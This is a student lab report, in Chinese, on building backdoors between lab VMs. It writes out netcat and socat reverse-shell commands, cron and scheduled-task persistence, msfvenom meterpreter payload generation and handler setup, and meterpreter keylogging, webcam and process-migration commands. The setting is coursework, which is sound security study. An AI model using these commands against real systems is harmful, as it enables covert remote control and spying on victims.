Exp2 后门原理与实践
目录
1. 实验原理
2. 实验内容
3. 问题回答
4. 心得体会
实验原理简介
- 后门：不经过正常流程而访问系统的通道
- ncat：底层工具，进行基本的TCP UDP数据收发
在两台电脑之间建立链接并返回数据流
*** 常用参数选项说明***
nc -h查看
-4 使用IPV4
-6 使用IPV6
-c, --sh-exec <command> 接收到的命令通过command(例如/bin/bash)执行
-e, --exec <command> 和-c差不多
--lua-exec <filename> 接收到的数据通过脚本filename执行
-m, --max-conns <n> 最大并发连接数(单独开启不生效，需配合--keep-open/--broker使用)
-d, --delay <time> 读写收发间隔时间
-o, --output <filename> 将会话数据转储到文件
-i, --idle-timeout <time> 读写超时时间
-p, --source-port port 指定连接使用的源端口号(client端使用)
-s, --source addr 客户端指定连接服务器使用的ip(client端使用)
-l, --listen 绑定和监听接入连接(server端使用)
-k, --keep-open 在监听模式中接受多个连接(配合-m使用)
-n, --nodns 不使用DNS解析主机名
-t, --telnet 响应telnet连接
-u, --udp 使用udp协议，默认tcp
-v, --verbose 显示详细信息
-w, --wait <time> 连接超时时间
--allow 允许指定主机连接
--allowfile 允许指定文件内的主机连接
--deny 拒绝指定主机连接
--denyfile 拒绝指定文件内的主机连接
--broker 启用代理模式
--proxy <addr[:port]> 指定代理主机ip和port
--proxy-type <type> 指定代理类型("http" or "socks4")
--proxy-auth <auth> 代理身份验证
- socat:多功能的网络工具在两个数据流之间建立通道,且支持众多协议和链接方式
socat是一个两个独立数据通道之间的双向数据传输的继电器。这些数据通道包含文件、管道、设备（终端或调制解调器等）、插座（Unix，IP4，IP6 - raw，UDP，TCP）、SSL、SOCKS4客户端或代理CONNECT。
Socat支持广播和多播、抽象Unix sockets、Linux tun/tap、GNU readline 和 PTY。它提供了分叉、记录和进程间通信的不同模式。多个选项可用于调整socat和其渠道，Socat可以作为TCP中继（一次性或守护进程），作为一个守护进程基于socksifier，作为一个shell Unix套接字接口，作为IP6的继电器，或面向TCP的程序重定向到一个串行线。 (摘自下方链接)
应用实例
- meterpreter：
Meterpreter是Metasploit框架中的一个扩展模块，作为溢出成功以后的攻击载荷使用，攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。Meterpreter shell作为渗透模块有很多有用的功能，比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。
应用实例
实验内容
Windows获得Linux Shell
- 在Windows的cmd里使用
ipconfig查看ip（此处使用了VMnet1，相关知识点我） - 进入
ncat目录开始监听：ncat.exe -l -p 5326 - 在kali中反弹连接Windows（躲防火墙）：
ncat 192.168.138.1 5326 -e /bin/sh - 成功
Linux 获取Windows shell
- 使用
ifconfig查看ip:192.168.80.131 - 开始监听：
nc -l -p 5326 - Windowsf连接：
ncat.exe -e cmd.exe 192.168.80.131 5326 - 成功
使用nc传输数据
- Windows监听：
ncat.exe -l 5326 - linux反弹连接：
nc 192.168.138.1 5326 - 连接成功，互传数据
- kali：hello
- dell：hello
- kali：hello from the other side
使用nc传输文件
- Windows监听，并把收到的数据保存到
out中:ncat.exe -l 5326 > out - linux下建立一个文件in，从指定端口传输
nc 192.168.138.1 5326 < in - 连接建立成功，查看文件
Ⅰ.使用netcat获取主机操作Shell，cron启动
cron启动：
cron是一个Linux下的定时执行工具，无需人工干预。在每次编辑完某个用户的cron设置后，cron自动在/var/spool/cron下生成一个与此用户同名的文件，此用户的cron信息都记录在这个文件中，这个文件只可用
crontab -e来编辑。
*** 相关命令 ***
开机就启动cron进程的设置命令：chkconfig --add crond
把cron加入到启动脚本中：
rc-update add vixie-cron default
crontab -l #查看你的任务
crontab -e #编辑你的任务
crontab -r #删除用户的crontab的内容
*** 定时设置 ***
//前一部分是对时间的设定，后面一部分是要执行的命令
//附: Crontab 的格式说明如下:
* 逗号(',') 指定列表值。如: "1,3,4,7,8"
* 中横线('-') 指定范围值 如 "1-6", 代表 "1,2,3,4,5,6"
* 星号 ('*') 代表所有可能的值
//举例
0 */2 * * * echo "have a break now." > /tmp/test.txt
//每两个小时
0 23-7/2，8 * * * echo "have a good dream：）" > /tmp/test.txt //晚上11点到早上8点之间每两个小时，早上八点
0 11 4 * 1-3 command line //每个月的4号与每个礼拜的礼拜一到礼拜三的早上11点
- Windows监听端口：
ncat.exe -l -p 5326 crontab -e编辑定时任务，选择编辑器- 此处设定为在每小时的第33分钟获取shell，在cron文件里输入：
33 * * * * /bin/netcat 192.168.138.1 5326 -e /bin/sh
- 获取成功
Ⅱ.使用socat获取主机操作Shell, 任务计划启动
- 打开
计算机管理→任务计划程序→创建任务→命名→新建操作，选择socat.exe的路径，添加参数填写tcp-listen:5326 exec:cmd.exe,pty,stderr（这个命名把cmd綁定到端口23，同时把cmd的Stderr重定向到stdout）→创建触发器
- 触发条件开始运行
- kali输入
socat - tcp:192.168.138.1:5326,等同于nc IP PORT,获得cmd
Ⅲ .使用MSF meterpreter（或其他软件）生成可执行文件，利用ncat或socat传送到主机并运行获取主机Shell
- 在kali上执行
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.131 LPORT=532 -f exe > 26.exe生成后门程序（msfvenom命令详解） - 在kali中执行
nc 192.168.138.1 5326 < 26.exe,Windows里执行ncat.exe -lv 5326 > 26.exe,-lv查看连接状态。（传输该程序） - windows双击运行该后门程序，kali上使用
msfconsole进入msf控制台 - 输入如下
use exploit/multi/handler //使用监听模块，设置payload
set payload windows/meterpreter/reverse_tcp //使用和生成后门程序时相同的payload
set LHOST 192.168.80.131
set LPORT 5326 //设置地址和端口号
exploit //执行监听
此时在就能运行windows的shell
Ⅳ.使用MSF meterpreter（或其他软件）生成获取目标主机音频、摄像头、击键记录等内容，并尝试提权
- 获取目标主机音频
- 获取键盘
keyscan_start,keyscan_dump，见上图最下 - 截屏
screenshot
- 获取摄像头权限
- getpid获取进程号，迁移进程
migrate,获得当前运行进程ps
- getuid查看当前用户(在pid那个图里找)
- execute -f [options]在目标执行应用程序，此处执行cmd
更多相关实例我就没有截图了，学习可以看最上面知识介绍的链接
Ⅴ.可选加分内容：使用MSF生成shellcode,注入到实践1中的pwn1中，获取反弹连接Shell
payload和shellcode的区别
Payload是是包含在你用于一次漏洞利用（exploit）中的ShellCode中的主要功能代码。因为Payload是包含在ShellCode中的，ShellCode是真正的被输入到存在漏洞的程序中的，并且ShellCode负责把程序的流程最终转移到你的Payload代码中。所以对于一个漏洞来说，ShellCode就是一个用于某个漏洞的二进制代码框架，有了这个框架你可以在这个ShellCode中包含你需要的Payload来做一些事情。
- 根据相关知识点（感觉这句话好水）输入指令：
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.80.131 LPORT=5326 -x /root/20165326/exp1/pwn2 -f elf > pwn26 - 输入ls，成功！
问题回答
- 例举你能想到的一个后门进入到你系统中的可能方式？
网页挂马，捆绑下载程序，邮件balabala - 例举你知道的后门如何启动起来(win及linux)的方式？
win：修改注册表自启动，修改注册联系表捆绑启动
linux：修改cron启动 - Meterpreter有哪些给你映像深刻的功能？
好多都挺深刻的，最深刻的还是进程迁移吧，迁移之后不需要连接都可以直接操作，相当实用了。还有获取摄像头，想要找个胶布贴起来…… - 如何发现自己有系统有没有被安装后门？
杀毒软件。现在的程序想要修改电脑选项的话一般电脑都会询问是否允许啦，可以怀疑一下嗯
实验总结与体会
真的很有意思，感觉学到了很多很实用的东西，实验确实耗费了有点多时间，看文档就看了很久……but做出来成就感还是有的哈哈哈，同时也觉得自己的安全意识不够强，自己动手操作了一把，有一种黑客的感觉（搓手手）。希望自己能学的更深，然后能做出一点有用的东西来。虽“魔高一尺”，但未来会“道高一丈”叭hh。
back↑